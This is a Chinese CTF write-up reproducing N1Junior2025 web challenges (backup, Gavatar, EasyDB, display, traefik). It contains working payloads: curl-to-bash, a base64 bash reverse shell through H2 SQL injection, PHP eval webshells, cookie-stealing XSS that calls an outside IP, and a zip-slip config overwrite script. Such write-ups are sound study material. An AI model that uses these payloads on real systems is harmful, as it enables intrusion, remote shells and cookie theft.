N1Junior2025

由于没能参加比赛,以下题目均为复现

1
scp -r C:\Users\baozhongqi\Desktop\N1\* root@IP:/opt/docker

backup

这道题没有Docker,所以我自己写一个,可能比较草率但是效果基本一致,不会差多少


日了,这个勾八一点都不好弄,我水平又比较低,但是我想到一个办法来达成浮现环境,就是利用虚拟机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
sudo mkdir -p /var/www/html/primary/
sudo tee /var/www/html/primary/index.php <<EOF
<?php
\$cmd = \$_REQUEST["__2025.happy.new.year"];
eval(\$cmd);
?>
EOF

echo "flag{THIS_IS_YOUR_FLAG}" | sudo tee /flag
sudo chmod 600 /flag

sudo tee /backup.sh <<'EOF'
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15
done
EOF
sudo chmod +x /backup.sh

echo "@reboot root /backup.sh" | sudo tee -a /etc/crontab
sudo systemctl restart cron

sudo mkdir -p /var/www/html/backup
sudo chown -R www-data:www-data /var/www/html
sudo systemctl restart apache2
1
sudo /backup.sh

首先我们映入眼帘的肯定是一个eval,直接进行反弹shell

1
_[2025.happy.new.year=system("curl http://156.238.233.9/shell.sh|bash");

1

发现没有权限,并且看到一个backup.sh

1
2
3
4
5
6
7
8
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15
done

我们来分析一下,-P使得不能进行软连接,即使软链接也没用,因为我们权限是不够的,在网上找了一下cp命令进行提权,发现出来的都是suid,果然官方文档才是最好用的

1
2
cp --help
-H follow command-line symbolic links in SOURCE

这不是我们要的符号链接?既然他复制的是*,那我们直接创建一个-H的文件那么就多了这个参数,成功覆盖,

1
2
3
4
5
cd primary
touch -- -H
ln -s /flag Rflag
ls -al
cat /var/www/html/backup/Rflag

1

把环境给清理了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash

echo "[+] 删除漏洞文件"
sudo rm -f /var/www/html/primary/index.php
sudo rm -rf /var/www/html/primary

echo "[+] 删除flag文件"
sudo rm -f /flag

echo "[+] 清理定时任务"
sudo sed -i '/@reboot root \/backup.sh/d' /etc/crontab
sudo systemctl restart cron

echo "[+] 删除备份脚本和目录"
sudo rm -f /backup.sh
sudo rm -rf /var/www/html/backup

echo "[+] 终止正在运行的备份进程"
sudo pkill -f '/backup.sh'

echo "[+] 权限恢复(可选)"
sudo chown -R root:root /var/www/html 2>/dev/null

echo "[!] 是否要卸载Apache和PHP? (y/N)"
read -r choice
if [ "$choice" = "y" ] || [ "$choice" = "Y" ]; then
sudo apt remove -y apache2 php
sudo apt autoremove -y
fi

echo "[√] 清理完成!建议重启系统:sudo reboot"

Gavatar

acvtar.php里面发现了文件读取,其中路径为用户ID

1

还有一个重要文件就是upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
require_once 'common.php';

$user = getCurrentUser();
if (!$user) header('Location: index.php');

$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);

$avatarPath = "$avatarDir/{$user['id']}";

if (!empty($_FILES['avatar']['tmp_name'])) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
die('Invalid file type');
}
move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);
}

header('Location: profile.php');

先随便上传一下可以看到,只要是满足文件类型的,就可以过,并且可以用url进行任意文件读取,

1
2
3
/upload.php

avatar=acvtar.jpg&url=file:///etc/passwd

只要上传了一个文件,并且文件是存在的就可以进行文件读取,其中得到这三个包

1

1

但是读不了flag,典型的任意文件读取到RCE,其中比较难得,就是要把cookie带上,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
self.cookies = {'PHPSESSID': '41e87c5ceb4b151de6cbdee2745748c6'}

def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.post(self.url + "/upload.php", data={"avatar": "acvtar.jpg", "url": path},
cookies=self.cookies)

def send_response(self) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.get(self.url + "/avatar.php?user=baozongwi", cookies=self.cookies)

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
response = self.send_response()
data = response.re.search(b"(.*)", flags=re.S).group(1)
# print(data)
return base64.decode(data)

这是我改的初步的,后面发现怎么搞都会报错,后来仔细看代码原来是

1

必须要在elseif里面才会触发,感冒头晕被绕了,😩,所以我们不要带acvtar参数就可以成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
self.cookies = {'PHPSESSID': '41e87c5ceb4b151de6cbdee2745748c6'}

def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.post(self.url + "/upload.php", data={"url": path}, cookies=self.cookies)

def send_response(self) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.get(self.url + "/avatar.php?user=baozongwi", cookies=self.cookies)

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
response = self.send_response()
data = response.re.search(b"(.*)", flags=re.S).group(1)
# print(data)
return base64.decode(data)

直接执行命令

1
2
3
4
5
source py310/bin/activate

python3 3.py http://ctf.baozongwi.xyz:10001/ "echo '<?php @eval(\$_POST[1]);?>' > p2.php"

deactivate

302和200还是有区别的,虽然结果一样

1

EasyDB

开局一个登录框,看看这个jar包里面的代码,直接搜索路由/login,然后发现包challenge,里面基本都是关键代码,看看

1

调用函数检查用户名

1

直接拼接语句,ohshit,那注入整起

1

黑名单是这些,

1

使用的是h2的数据库jdbc:h2:mem:testdb使用的是内存模式,可以进行堆叠注入,利用反射和拼接绕过,拿到Runtime.exech2的数据库可以利用CREATE...CALL来调用函数

1
username=admin';CREATE ALIAS test3 AS $$void jerry(String cmd) throws Exception{ String r="Run"+"time";Class<?> c = Class.forName("java.lang."+r);Object rt=c.getMethod("get"+r).invoke(null);c.getMethod("ex"+"ec",String.class).invoke(rt,cmd);}$$;CALL test3('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzI3LjI1LjE1MS40OC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}');--&password=admin

发现自己起Docker有问题,进去查一下

1
2
3
4
5
docker exec -it 88e30a916767 bash

docker stop 5345a6e08073 && docker rm 5345a6e08073
docker rmi easydb-web
docker compose up -d

发现根本就没有curl,弹shell的话只能用bash,常见的话,后面知道问题原来是java弹shell用base64,wu,原来这样,怪不得反序列化都写base64和计算器还有内存马

display

1
2
docker build -t display .
docker run -d --name display_container -p 9999:3000 display

明天再打,好难受想睡觉了


来了,一看是个nodejs的应用,并且里面还有bot,就感觉是个xss了,从index.js得到参数为text

1

可以看到会进行访问,但是他就是没过去,说明要绕过,回来看如何处理的这个text

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
document.addEventListener("DOMContentLoaded", function() {
const textInput = document.getElementById('text-input');
const insertButton = document.getElementById('insert-btn');
const contentDisplay = document.getElementById('content-display');

const queryText = getQueryParam('text');

if (queryText) {
const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));

if (sanitizedText.length > 0) {
textInput.innerHTML = sanitizedText; // 写入预览区
contentDisplay.innerHTML = textInput.innerText; // 写入效果显示区

insertButton.disabled = false;
} else {
textInput.innerText = "Only allow h1, h2 tags and plain text";
}
}
});

其中第一行textInput.innerHTML = sanitizedText;的调用会导致h1,h2标签仍然有效,而第二行contentDisplay.innerHTML = textInput.innerText;由于是获取的纯文本就会导致,如果我们是使用的编码绕过也会被当成是纯文本,最后达到xss的效果

用iframe嵌入子页面可以重新唤起DOM解析器解析script标签

这东西我之前写博客页面的时候用过,一个监控博客是否存活的东西,UptimeRobot,没想到这里也是用的这个

1
?text=JTNDSU1HJTIwU1JDPSUyMmphdmFzY3JpcHQuOmFsZXJ0KCdYU1MnKTslMjIlM0U=

发现成功了,那改一下payload绕过CSP就可以了

1
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";

这过滤太狠了,得找其他东西,我们还有一个路由没有用,还有404界面,网上找到文章404界面绕过CSP

1
2
3
app.use((req, res) => {
res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面

纯文本返回可以进行任意内容构造,有点脏字符,注释掉就好了

1

所以写出payload,iframe结束标签可以省略

1
<iframe/srcdoc="<script/src='**/fetch(`http://156.238.233.9:9999/`+document.cookie)//'></script>">

1

1
2
3
4
5
6
7
8
9
10
11
12
POST /report HTTP/1.1
Host: ctf.baozongwi.xyz:9999
Accept-Encoding: gzip, deflate
Origin: http://ctf.baozongwi.xyz:9999
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Referer: http://ctf.baozongwi.xyz:9999/report
Content-Length: 43

{"text":"Jmx0O2lmcmFtZSZzb2w7c3JjZG9jJmVxdWFsczsmcXVvdDsmbHQ7c2NyaXB0JnNvbDtzcmMmZXF1YWxzOyZhcG9zOyZhc3Q7JmFzdDsmc29sO2ZldGNoJmxwYXI7JmdyYXZlO2h0dHAmY29sb247JnNvbDsmc29sOzE1NiZwZXJpb2Q7MjM4JnBlcmlvZDsyMzMmcGVyaW9kOzkmY29sb247OTk5OSZzb2w7JmdyYXZlOyZwbHVzO2RvY3VtZW50JnBlcmlvZDtjb29raWUmcnBhcjsmc29sOyZzb2w7JmFwb3M7Jmd0OyZsdDsmc29sO3NjcmlwdCZndDsmcXVvdDsmZ3Q7"}

1

traefik

1
2
docker build -t traefik .
docker run -d --name traefik_container -p 10002:8080 traefik

就一个go文件,慢慢看

1

检测xff,然后就是上传解压了,以我的个人感觉,这里面肯定能覆盖

1

解压文件的时候进行文件遍历,并且目录也是自己定,可以达到覆盖的效果但是这里的路径极其重要,上传文件夹在这个位置

1
public/upload/6c20d681-a875-4dd6-abc0-331ca1c5f571

要想覆盖就要

1

1
./../../.config/dynamic.yml

然后让人机写一个yml来覆盖,使用的是middlewares来创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import zipfile
import requests

# 目标URL
UPLOAD_URL = "http://ctf.baozongwi.xyz:8080/public/upload"
FLAG_URL = "http://ctf.baozongwi.xyz:8080/flag"

headers = {
"X-Forwarded-For": "127.0.0.1"
}

binary = '''# Dynamic configuration

http:
middlewares:
set-x-forwarded-for:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"

services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"

routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
middlewares:
- set-x-forwarded-for
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
middlewares:
- set-x-forwarded-for
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- set-x-forwarded-for
'''

# 生成 ZIP 文件
zip_filename = "1.zip"
with zipfile.ZipFile(zip_filename, "w", zipfile.ZIP_DEFLATED) as zipf:
zipf.writestr("./../../.config/dynamic.yml", binary)

print(f"[+] ZIP 文件 {zip_filename} 生成完成")

# 上传 ZIP 文件
files = {"file": (zip_filename, open(zip_filename, "rb"), "application/zip")}
response = requests.post(UPLOAD_URL, files=files)

if response.status_code == 200:
print("[+] 文件上传成功,尝试访问 /flag 获取 FLAG...")

# 访问 /flag 以获取 FLAG
flag_response = requests.get(FLAG_URL,headers=headers)
print(flag_response.text)
else:
print(f"[-] 文件上传失败,状态码: {response.status_code}")
print(response.text)

写出脚本了,但是发现个问题,始终拿不到flag,后面仔细一看

1

他是监听80端口的变化的,得把应用搞到80才能监听,才能实现覆盖,热加载

1
2
3
4
docker stop 52cb93740cf8 && docker rm 52cb93740cf8
docker build -t traefik .
docker run -d --name traefik_container -p 8080:80 traefik
docker exec -it 36b02c422cf1 sh

现在再来用脚本打一遍就拿到flag了

1

小结

很好的题目,我中途因为Docker问题也搞了不少时间,xss那道题非常有意思,代码少但是题目很好玩